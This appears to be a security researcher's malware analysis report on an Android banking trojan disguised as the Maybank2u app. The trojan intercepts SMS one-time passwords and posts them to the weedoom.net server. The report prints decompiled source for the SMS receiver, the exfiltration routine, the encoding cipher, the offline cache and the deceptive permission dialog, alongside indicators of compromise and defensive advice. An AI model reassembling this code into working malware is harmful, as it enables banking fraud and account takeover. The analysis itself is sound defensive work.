Introduction
During a routine security intelligence exchange with my senior Ann (opens in a new tab) from CyberX, I received a suspicious Android application package (APK) for analysis. The sample, disguised as a legitimate banking application (maybank2u.apk
), demonstrated significant malicious capabilities warranting a comprehensive technical investigation.
Malware Investigation Report: Android Banking Trojan
First Page
Stay at this page after login with anything
Executive Summary
This technical analysis documents a sophisticated Android banking trojan (maybank2u.apk
) designed to intercept and exfiltrate sensitive information from compromised devices. The malware demonstrates advanced capabilities including:
- SMS Interception: Captures one-time passwords (OTPs) and authentication codes
- Data Exfiltration: Transmits stolen data to command and control (C2) infrastructure
- Persistence Mechanisms: Implements auto-start on boot and foreground services to maintain presence
- Anti-Analysis Techniques: Uses multi-layer obfuscation to evade detection
Risk Assessment | Details |
---|---|
Severity Level | 🔴 CRITICAL |
Impact Vector | Financial fraud, account takeover, data theft |
Targeting | Banking applications, financial services users |
Distribution | Phishing, fake app stores, smishing campaigns |
Technical Analysis
1. Malware Identification
Attribute | Details |
---|---|
Package Name | maybank2u |
Targeted Data | SMS messages, Android ID, device information |
C2 Server | https://weedoom.net/multipush (HTTPS POST) |
Obfuscation | Layered (Base64 + custom encoding via b() function) |
2. Key Malicious Components
The malware architecture consists of four primary components working in concert:
2.1 MainActivity
- Primary entry point disguised as a legitimate banking application
- Initializes malicious services upon launch
- Requests critical permissions for malicious functionality
2.2 SMS Interceptor (RE Class)
- Implements
BroadcastReceiver
for SMS interception - Extracts message metadata including:
- Sender phone number
- Message body content (targeting OTPs)
- Precise timestamp
- Implements offline persistence via
SharedPreferences
storage
2.3 Data Exfiltration Module (C0044Fe Class)
- Handles communication with command and control server
- Implements custom obfuscation algorithms
- Manages authentication and device identification
2.4 Persistence Mechanism (SE Service)
- Runs as a foreground service with system notification
- Ensures continuous operation after device reboot
- Implements resilience against battery optimization
3. Data Exfiltration Workflow
The malware implements a sophisticated data exfiltration pipeline:
- Collection: Intercepts SMS messages via the
RE
broadcast receiver - Processing: Extracts and parses message content, sender, and timestamp
- Obfuscation: Applies custom encoding algorithm (
b()
function) to evade detection - Transmission: Sends data to C2 server via HTTPS POST requests
HTTP Request Details
Endpoint: https://weedoom.net/multipush
Headers:
Content-Type: application/json
auth: [Obfuscated "Beta" token]
id: [Obfuscated Android device ID]
Payload Structure:
{
"t": "[obfuscated_timestamp]",
"f": "[obfuscated_sender]",
"m": "[obfuscated_message_body]"
}
4. Indicators of Compromise (IOCs)
The following artifacts can be used to identify infections and for threat hunting:
Type | Value | Description |
---|---|---|
C2 Domain | weedoom.net | Primary exfiltration server |
URLs | https://weedoom.net/multipush | SMS data exfiltration endpoint |
https://weedoom.net/minit | Initialization endpoint | |
Key Strings | aHR0cHM6Ly93ZWVkb29tLm5ldA== | Base64-encoded C2 domain |
Permissions | RECEIVE_SMS , READ_SMS , INTERNET | Critical permissions for functionality |
Package | m.m.ml | Malware package identifier |
5. Attack Chain Visualization
The following diagram illustrates the complete attack flow from initial infection to data exfiltration:
6. Technical Assessment
This malware represents a sophisticated banking trojan with significant capability to compromise financial transactions:
- Primary Objective: Intercept authentication messages (OTPs, 2FA codes)
- Infrastructure: Well-established command and control server (
weedoom.net
) - Persistence: Multiple mechanisms to ensure continued operation
- Evasion: Multi-layered obfuscation techniques to avoid detection
6.1. Required Android Permissions
The malware requires critical permissions that enable its core functionality:
Permission | Purpose |
---|---|
RECEIVE_SMS | Interception of incoming SMS messages |
READ_SMS | Access to message content and metadata |
INTERNET | Exfiltration of stolen data |
RECEIVE_BOOT_COMPLETED | Persistence after device restart |
FOREGROUND_SERVICE | Maintain background operation |
![]() | |
![]() |
6.2. Core Exfiltration Logic
The primary exfiltration mechanism (C0044Fe.d()
) implements sophisticated data transmission:
Key Implementation Steps in d(JSONObject jSONObject, boolean z)
A. Command & Control URL Preparation
// Decode the obfuscated C2 domain
byte[] decode = Base64.decode("aHR0cHM6Ly93ZWVkb29tLm5ldA==", 0); // = "https://weedoom.net"
// Construct the final exfiltration endpoint
String concat = new String(decode, AbstractC0755m7.a).concat("/multipush");
// Final URL: https://weedoom.net/multipush
The malware leverages two distinct C2 endpoints:
/multipush
: Primary data exfiltration endpoint/minit
: Initial communication/configuration endpoint
B. HTTP Request Configuration
// Initialize HTTP request object
Gl gl = new Gl();
// Configure request parameters
gl.m(concat); // Sets target URL
gl.l("POST", AbstractC0597ik.s(z2, jSONObject2)); // Configures POST method with JSON payload
The malware implements standard web communication:
- Method: POST
- Content-Type: application/json
C. Authentication Header Implementation
// Decode authentication token from Base64
byte[] decode3 = Base64.decode("QmV0YQ==", 0); // Decodes to "Beta"
// Apply secondary obfuscation to the authentication token
String b = b(new String(decode3, AbstractC0755m7.a));
// Add the obfuscated authentication token to request header
c0236ai.a("auth", b); // Header: auth: [obfuscated Beta]
D. Device Identification Mechanism
// Retrieve unique Android device identifier
String android_id = Settings.Secure.getString(contentResolver, "android_id");
// Apply obfuscation to device identifier
String b2 = b(android_id);
// Add obfuscated device ID to request header
c0236ai2.a("id", b2); // Header: id: [obfuscated Android ID]
6.3. SMS Interception Implementation
A. Permission Validation and Broadcast Monitoring
// Verify required permissions and validate broadcast intent
if (AbstractC0737lq.s(context, "android.permission.RECEIVE_SMS") == 0
&& AbstractC0737lq.s(context, "android.permission.READ_SMS") == 0
&& AbstractC0641jk.o(intent.getAction(), "android.provider.Telephony.SMS_RECEIVED"))
{
// Proceed with SMS interception
}
The malware implements multiple validation checks:
- Permission Check: Verifies both
RECEIVE_SMS
andREAD_SMS
permissions - Intent Filtering: Only processes
android.provider.Telephony.SMS_RECEIVED
broadcasts
B. Message Extraction Mechanism
// Extract all SMS messages from the broadcast intent
SmsMessage[] messagesFromIntent = Telephony.Sms.Intents.getMessagesFromIntent(intent);
// For each message, extract critical components
for (SmsMessage smsMessage : messagesFromIntent) {
// Extract timestamp
String valueOf = String.valueOf(smsMessage.getTimestampMillis());
// Extract sender phone number
String originatingAddress = smsMessage.getOriginatingAddress();
// Extract message content
String messageBody = smsMessage.getMessageBody();
// Process extracted data...
}
C. Data Obfuscation Implementation
// Apply obfuscation to timestamp
String b = C0044Fe.b(str);
// Apply obfuscation to sender
String b2 = C0044Fe.b(str2);
// Apply obfuscation to message content
String b3 = C0044Fe.b(str3);
The malware uses a proprietary obfuscation function (b()
) to protect exfiltrated data from network inspection and detection systems.
6.4. Data Storage & Exfiltration Mechanisms
A. Offline Data Storage Implementation
// Initialize SharedPreferences for persistent storage
SharedPreferences sharedPreferences = context.getSharedPreferences("db", 0);
// Retrieve existing stored data or create new storage
Set<String> stringSet = sharedPreferences.getStringSet("data", new HashSet());
// Prepare new data for storage
HashSet<String> hashSet2 = new HashSet<>(stringSet);
hashSet2.add(jsonData.toString());
// Commit updated data to persistent storage
sharedPreferences.edit().putStringSet("data", hashSet2).apply();
The malware implements resilient offline storage using Android's SharedPreferences
API:
- Storage Key:
"data"
- Storage Mode: Private (mode
0
) - Data Format: JSON objects in a
HashSet
JSON Storage Structure:
{
"t": "[timestamp]",
"f": "[sender]",
"m": "[message]"
}
B. Online Exfiltration Implementation
// Check for network connectivity
if (z) { // If internet connectivity available
// Construct JSON payload with obfuscated data
JSONObject payload = new JSONObject("{ \"t\": \"" + b + "\",
\"f\": \"" + b2 + "\",
\"m\": \"" + b3 + "\" }");
// Initialize exfiltration module and transmit data
new C0044Fe(context, 1).d(payload, false);
}
The malware prioritizes immediate exfiltration when online, sending data with:
- Authentication: Obfuscated
"Beta"
token - Device Identification: Obfuscated Android ID
- Transport: HTTPS POST to
weedoom.net/multipush
C. Network Connectivity Verification
// Get system connectivity service
ConnectivityManager connectivityManager = (ConnectivityManager) systemService;
// Check active network capabilities
NetworkCapabilities networkCapabilities = connectivityManager.getNetworkCapabilities(activeNetwork);
// Verify available transport types
if (!networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) && // WiFi (1)
!networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) && // Cellular (0)
!networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_VPN)) { // VPN (3)
z = false; // Flag as offline - no internet connectivity
}
The malware implements comprehensive network validation by checking multiple transport types:
- WiFi:
NetworkCapabilities.TRANSPORT_WIFI
(1) - Cellular:
NetworkCapabilities.TRANSPORT_CELLULAR
(0) - VPN:
NetworkCapabilities.TRANSPORT_VPN
(3)
7. Core Functionality Summary
Component | Implementation | Purpose |
---|---|---|
Permission Validation | AbstractC0737lq.s(context, "android.permission.RECEIVE_SMS") == 0 | Verify required system access |
SMS Data Extraction | Telephony.Sms.Intents.getMessagesFromIntent(intent) | Capture incoming message content |
Data Obfuscation | C0044Fe.b(str) | Encrypt/encode sensitive data |
Offline Storage | sharedPreferences.edit().putStringSet("data", hashSet2).apply() | Cache data when network unavailable |
Network Exfiltration | new C0044Fe(context, 1).d(new JSONObject(...), false) | Transmit data to command & control server |
8. Conclusion & Recommendations
This analysis confirms the presence of a sophisticated banking trojan targeting financial applications. The malware demonstrates advanced capabilities for SMS interception and data exfiltration with resilient operation even in adverse network conditions.
Security Recommendations:
-
Immediate Response:
- Factory reset affected devices
- Change passwords for all financial accounts
- Enable additional security measures for banking applications
-
Detection & Prevention:
- Monitor network traffic for connections to
weedoom.net
- Implement SMS filtering/monitoring for sensitive accounts
- Deploy mobile threat defense solutions in corporate environments
- Monitor network traffic for connections to
-
User Education:
- Install applications only from official app stores
- Verify app permissions before installation
- Enable Google Play Protect on Android devices
9. Additional Technical Appendix
Technical Appendix: Decompiled Code Analysis
This document provides a detailed technical analysis of the decompiled code components from the malicious Android banking trojan (maybank2u.apk
). The analysis reveals sophisticated mechanisms for SMS interception, data obfuscation, and C2 communication.
1. Main Entry Point (MainActivity.java
)
The MainActivity
class serves as the primary entry point for the malware, implementing several key initialization routines:
package m.m.ml;
import android.app.AlertDialog;
import android.content.Intent;
import android.content.res.Resources;
import android.os.Build;
import android.os.Bundle;
import android.os.Parcelable;
import android.view.View;
import android.view.Window;
import androidx.activity.ComponentActivity;
import defpackage.A0;
import defpackage.AbstractC0137Rb;
import defpackage.AbstractC0641jk;
import defpackage.AbstractC0680ke;
import defpackage.Am;
import defpackage.An;
import defpackage.Bn;
import defpackage.C0570i0;
import defpackage.C0574i4;
import defpackage.C0683kh;
import defpackage.C0808nF;
import defpackage.C1298yB;
import defpackage.C1332z0;
import defpackage.Dm;
import defpackage.Dw;
import defpackage.Hm;
import defpackage.L8;
import defpackage.N8;
import defpackage.O8;
import defpackage.RF;
import defpackage.T8;
import defpackage.X9;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.Locale;
import java.util.NoSuchElementException;
import java.util.Objects;
/* Decompiled from classes.dex */
public final class MainActivity extends ComponentActivity {
public static final /* synthetic */ int w = 0;
@Override
public final void onCreate(Bundle bundle) {
AbstractC0137Rb abstractC0137Rb;
int hashCode;
int hashCode2;
int i = 0;
int i2 = AbstractC0680ke.a;
Dw dw = Dw.I;
C1298yB c1298yB = new C1298yB(0, 0, dw);
C1298yB c1298yB2 = new C1298yB(AbstractC0680ke.a, AbstractC0680ke.b, dw);
View decorView = getWindow().getDecorView();
AbstractC0641jk.u(decorView, "window.decorView");
Resources resources = decorView.getResources();
AbstractC0641jk.u(resources, "view.resources");
boolean booleanValue = ((Boolean) dw.j(resources)).booleanValue();
Resources resources2 = decorView.getResources();
AbstractC0641jk.u(resources2, "view.resources");
boolean booleanValue2 = ((Boolean) dw.j(resources2)).booleanValue();
int i3 = Build.VERSION.SDK_INT;
if (i3 >= 30) {
abstractC0137Rb = new Object();
} else if (i3 >= 29) {
abstractC0137Rb = new Object();
} else if (i3 >= 28) {
abstractC0137Rb = new Object();
} else if (i3 >= 26) {
abstractC0137Rb = new Object();
} else {
abstractC0137Rb = new Object();
}
Window window = getWindow();
AbstractC0641jk.u(window, "window");
abstractC0137Rb.V(c1298yB, c1298yB2, window, decorView, booleanValue, booleanValue2);
Window window2 = getWindow();
AbstractC0641jk.u(window2, "window");
abstractC0137Rb.o(window2);
super.onCreate(bundle);
final C0808nF c0808nF = new C0808nF(5);
final C0570i0 c0570i0 = new C0570i0(this);
final L8 l8 = this.l;
AbstractC0641jk.v(l8, "registry");
final String str = "activity_rq#" + this.k.getAndIncrement();
AbstractC0641jk.v(str, "key");
Hm hm = this.Tj0TVE0Hb5c3ac3785e6455cb344fca21faf691b;
if (hm.c.compareTo(Am.g) < 0) {
LinkedHashMap linkedHashMap = l8.b;
int i4 = 1;
if (((Integer) linkedHashMap.get(str)) == null) {
Iterator it = new X9(new C0683kh(A0.f, new RF(i4, 9))).iterator();
while (it.hasNext()) {
Number number = (Number) it.next();
int intValue = number.intValue();
LinkedHashMap linkedHashMap2 = l8.a;
if (!linkedHashMap2.containsKey(Integer.valueOf(intValue))) {
int intValue2 = number.intValue();
linkedHashMap2.put(Integer.valueOf(intValue2), str);
linkedHashMap.put(str, Integer.valueOf(intValue2));
}
}
throw new NoSuchElementException("Sequence contains no element matching the predicate.");
}
LinkedHashMap linkedHashMap3 = l8.c;
C1332z0 c1332z0 = (C1332z0) linkedHashMap3.get(str);
if (c1332z0 == null) {
c1332z0 = new C1332z0(hm);
}
Dm dm = new Dm() {
// Inner class code omitted for brevity
};
c1332z0.a.a(dm);
c1332z0.b.add(dm);
linkedHashMap3.put(str, c1332z0);
C0574i4 c0574i4 = new C0574i4(l8, str, c0808nF);
if (getSharedPreferences("app_data_launch_f", 0).getBoolean("isFirstRun", true)) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
String locale = Locale.getDefault().toString();
int hashCode3 = locale.hashCode();
String str2 = "Ruxsatlar talab qilinadi";
if (hashCode3 != -139822896) {
if (hashCode3 != 108860863) {
if (hashCode3 == 111780381) {
}
str2 = "Permissions required";
builder.setTitle(str2);
String locale2 = Locale.getDefault().toString();
hashCode = locale2.hashCode();
String str3 = "Ilova ishlashi uchun telefonning asosiy funksiyalariga kirish tinglanadi.";
if (hashCode != -139822896) {
if (hashCode != 108860863) {
if (hashCode == 111780381) {
}
str3 = "For the application to work, access to the main functions of the phone is required.";
builder.setMessage(str3);
String locale3 = Locale.getDefault().toString();
hashCode2 = locale3.hashCode();
String str4 = "Ruxsat berish";
if (hashCode2 != -139822896) {
if (hashCode2 != 108860863) {
if (hashCode2 == 111780381) {
}
str4 = "Allow";
builder.setPositiveButton(str4, new An(i, c0574i4));
builder.show();
N8.a(this, T8.Tj0TVE0Hb5c3ac3785e6455cb344fca21faf691b);
} else {
if (locale3.equals("ru_RU")) {
str4 = "Разрешить";
builder.setPositiveButton(str4, new An(i, c0574i4));
builder.show();
N8.a(this, T8.Tj0TVE0Hb5c3ac3785e6455cb344fca21faf691b);
}
str4 = "Allow";
builder.setPositiveButton(str4, new An(i, c0574i4));
builder.show();
N8.a(this, T8.Tj0TVE0Hb5c3ac3785e6455cb344fca21faf691b);
}
}
} else {
if (locale2.equals("ru_RU")) {
str3 = "Для работы приложения трубуется доступ к основным функциям телефона.";
builder.setMessage(str3);
String locale32 = Locale.getDefault().toString();
hashCode2 = locale32.hashCode();
String str42 = "Ruxsat berish";
if (hashCode2 != -139822896) {
}
}
str3 = "For the application to work, access to the main functions of the phone is required.";
builder.setMessage(str3);
String locale322 = Locale.getDefault().toString();
hashCode2 = locale322.hashCode();
String str422 = "Ruxsat berish";
if (hashCode2 != -139822896) {
}
}
}
} else {
if (locale.equals("ru_RU")) {
str2 = "Необходимы разрешения";
builder.setTitle(str2);
String locale22 = Locale.getDefault().toString();
hashCode = locale22.hashCode();
String str32 = "Ilova ishlashi uchun telefonning asosiy funksiyalariga kirish tinglanadi.";
if (hashCode != -139822896) {
}
}
str2 = "Permissions required";
builder.setTitle(str2);
String locale222 = Locale.getDefault().toString();
hashCode = locale222.hashCode();
String str322 = "Ilova ishlashi uchun telefonning asosiy funksiyalariga kirish tinglanadi.";
if (hashCode != -139822896) {
}
}
}
} else {
N8.a(this, new O8(-425911099, new Bn(this, i), true));
}
startService(new Intent(this, (Class<?>) MgRKn55kcebb482e4b514772964e31012d0b1157.class));
return;
}
throw new IllegalStateException(("LifecycleOwner " + this + " is attempting to register while current state is " + hm.c + ". LifecycleOwners must call register before they are STARTED.").toString());
}
}
Key Observations:
- Deceptive Permission Request: The malware presents a localized dialog to trick users into granting sensitive permissions, adapting to the device's language settings
- Multi-language Support: Implements Russian and English localization to target a wider audience
- Persistence Mechanism: Starts a background service (
MgRKn55kcebb482e4b514772964e31012d0b1157.class
) for continuous operation - Runtime Permissions: Uses modern Android permission request mechanisms to access sensitive data
2. SMS Interception Component (RE.java
)
The RE
class extends BroadcastReceiver
to implement the core SMS interception functionality:
public final class RE extends BroadcastReceiver {
@Override
public final void onReceive(Context context, Intent intent) {
// Permission validation
if (AbstractC0737lq.s(context, "android.permission.RECEIVE_SMS") == 0 &&
AbstractC0737lq.s(context, "android.permission.READ_SMS") == 0 &&
AbstractC0641jk.o(intent.getAction(), "android.provider.Telephony.SMS_RECEIVED")) {
// Extract SMS content
SmsMessage[] messagesFromIntent = Telephony.Sms.Intents.getMessagesFromIntent(intent);
// Process each message in the broadcast
for (SmsMessage smsMessage : messagesFromIntent) {
String valueOf = String.valueOf(smsMessage.getTimestampMillis());
String originatingAddress = smsMessage.getOriginatingAddress();
String messageBody = smsMessage.getMessageBody();
// [...processing code...]
}
// Obfuscate the extracted data
String b = C0044Fe.b(str); // Timestamp
String b2 = C0044Fe.b(str2); // Sender
String b3 = C0044Fe.b(str3); // Message content
// Network connectivity check
// [...connectivity check code...]
if (z) { // If online
// Exfiltrate data immediately
new C0044Fe(context, 1).d(new JSONObject("{ \"t\": \"" + b + "\", \"f\": \"" + b2 + "\", \"m\": \"" + b3 + "\" }"), false);
// Also attempt to send any cached offline data
// [...cached data handling...]
} else {
// Store data locally for later exfiltration
HashSet hashSet2 = new HashSet(list);
hashSet2.add(jSONObject);
sharedPreferences.edit().putStringSet("data", hashSet2).apply();
}
}
}
}
Key Observations:
- Event Targeting: The malware specifically targets
"android.provider.Telephony.SMS_RECEIVED"
broadcasts - Comprehensive Data Collection: Extracts timestamp, sender, and full message content from each SMS
- Resilient Operation: Implements offline storage when network connectivity is unavailable
- Smart Exfiltration: Attempts to send previously stored data when connectivity is restored
3. Data Exfiltration Engine (C0044Fe.java
)
The C0044Fe
class implements sophisticated data obfuscation and exfiltration capabilities:
public final class C0044Fe implements InterfaceC0004Ae {
public final Context a;
// [...initialization code...]
// Custom obfuscation algorithm
public static String b(String str) {
AbstractC0641jk.v(str, "input");
byte[] bytes = str.getBytes(AbstractC0755m7.a);
String encodeToString = Base64.encodeToString(bytes, 2);
// Character substitution cipher implementation
StringBuilder sb = new StringBuilder();
int length = encodeToString.length();
for (int i4 = 0; i4 < length; i4++) {
char charAt = encodeToString.charAt(i4);
// Complex character transposition logic
// [...character manipulation code...]
sb.append(charAt);
}
return sb.toString();
}
// Network connectivity check
public boolean c() {
// [...connectivity code...]
}
// Data transmission to C2
public void d(JSONObject jSONObject, boolean z) {
String concat;
// Determine target endpoint based on operation type
if (z) {
byte[] decode = Base64.decode("aHR0cHM6Ly93ZWVkb29tLm5ldA==", 0);
concat = new String(decode, AbstractC0755m7.a).concat("/minit");
} else {
byte[] decode2 = Base64.decode("aHR0cHM6Ly93ZWVkb29tLm5ldA==", 0);
concat = new String(decode2, AbstractC0755m7.a).concat("/multipush");
}
try {
// Prepare HTTP request
Gl gl = new Gl();
gl.m(concat);
gl.l("POST", AbstractC0597ik.s(z2, jSONObject2));
// Add authentication token
byte[] decode3 = Base64.decode("QmV0YQ==", 0);
String b = b(new String(decode3, AbstractC0755m7.a));
c0236ai.a("auth", b);
// Add device identifier
String string = Settings.Secure.getString(this.a.getContentResolver(), "android_id");
String b2 = b(string);
c0236ai2.a("id", b2);
// Execute request
new C0563hu(xp, gl.e()).e(new Yw(11));
} catch (Exception unused) {
// Silent error handling
}
}
}
Key Observations:
- Multi-layer Obfuscation: Implements Base64 encoding followed by a custom character substitution cipher
- Embedded C2: Contains hardcoded Base64-encoded C2 domain (
aHR0cHM6Ly93ZWVkb29tLm5ldA==
=https://weedoom.net
) - Dual Endpoint Strategy: Uses different endpoints for data exfiltration (
/multipush
) and initialization (/minit
) - Device Fingerprinting: Transmits unique Android device identifier with each request
- Silent Failure: Implements empty exception handler to prevent error notifications
4. Obfuscation Analysis
The malware employs a sophisticated custom character substitution cipher in the b()
method:
public static String b(String str) {
// [...initial Base64 encoding...]
StringBuilder sb = new StringBuilder();
int length = encodeToString.length();
for (int i4 = 0; i4 < length; i4++) {
char charAt = encodeToString.charAt(i4);
// Lowercase Latin character transformation
if (Character.isLowerCase(charAt)) {
i2 = 97;
if ('a' <= charAt && charAt < '{') {
i3 = (charAt - 'Y') % 26;
i = i3 + i2;
charAt = (char) i;
sb.append(charAt);
}
}
// Cyrillic character transformation
if (Character.isLowerCase(charAt) && 1072 <= charAt && charAt < 1104) {
i = ((charAt - 1064) % 32) + 1072;
} else {
// Uppercase Latin character transformation
if (Character.isUpperCase(charAt)) {
i2 = 65;
if ('A' <= charAt && charAt < '[') {
i3 = (charAt - '9') % 26;
i = i3 + i2;
}
}
// Uppercase Cyrillic character transformation
if (Character.isUpperCase(charAt)) {
i2 = 1040;
if (1040 <= charAt && charAt < 1072) {
i3 = (charAt - 1032) % 32;
i = i3 + i2;
}
}
// Numeric character transformation
if (Character.isDigit(charAt)) {
i = ((charAt - '(') % 10) + 48;
} else {
sb.append(charAt);
}
}
charAt = (char) i;
sb.append(charAt);
}
return sb.toString();
}
Key Observations:
- Multi-alphabet Support: The cipher handles Latin, Cyrillic, and numeric characters differently
- Character Set Segregation: Different transformation algorithms for lowercase, uppercase, and digit characters
- Modular Arithmetic: Uses modulo operations to ensure character transformations remain within valid ranges
- Preservation of Special Characters: Non-alphanumeric characters remain unchanged
5. Network Transport Implementation
The malware implements sophisticated network connectivity detection to ensure reliable data exfiltration:
// Get system connectivity service
ConnectivityManager connectivityManager = (ConnectivityManager) systemService;
// Check active network capabilities
NetworkCapabilities networkCapabilities = connectivityManager.getNetworkCapabilities(activeNetwork);
// Verify available transport types
if (!networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) && // WiFi (1)
!networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) && // Cellular (0)
!networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_VPN)) { // VPN (3)
z = false; // Flag as offline - no internet connectivity
}
Key Observations:
- Comprehensive Connectivity Check: Tests multiple network transport types (WiFi, Cellular, VPN)
- Modern API Usage: Uses
NetworkCapabilities
rather than deprecated connectivity methods - Transport Type Constants: References transport types by numeric constants:
- WiFi:
NetworkCapabilities.TRANSPORT_WIFI
(1) - Cellular:
NetworkCapabilities.TRANSPORT_CELLULAR
(0) - VPN:
NetworkCapabilities.TRANSPORT_VPN
(3)
- WiFi:
6. Data Storage Schema
The malware implements resilient offline storage using Android's SharedPreferences
:
// Initialize SharedPreferences for persistent storage
SharedPreferences sharedPreferences = context.getSharedPreferences("db", 0);
// Retrieve existing stored data or create new storage
Set<String> stringSet = sharedPreferences.getStringSet("data", new HashSet());
// Prepare new data for storage
HashSet<String> hashSet2 = new HashSet<>(stringSet);
hashSet2.add(jsonData.toString());
// Commit updated data to persistent storage
sharedPreferences.edit().putStringSet("data", hashSet2).apply();
Key Observations:
- Database Name: Uses generic name
"db"
to avoid detection - Storage Mode: Uses private mode (0) to prevent access by other applications
- Data Structure: Stores JSON strings in a
HashSet
under key"data"
- Asynchronous Storage: Uses
apply()
rather thancommit()
for non-blocking storage operations
7. Conclusion
The decompiled code analysis reveals a sophisticated malware implementation with advanced techniques for:
- Permission Acquisition: Social engineering via localized dialogs
- SMS Interception: Efficient broadcast receiver implementation
- Data Obfuscation: Multi-layer encoding with custom cipher
- Network Resilience: Online/offline operation with data caching
- Device Identification: Unique device fingerprinting for tracking
- Anti-Analysis: Heavy obfuscation of strings and control flow
These findings corroborate the assessment that this malware represents a significant threat, specifically targeting financial authentication via SMS interception and implementing robust mechanisms for data exfiltration.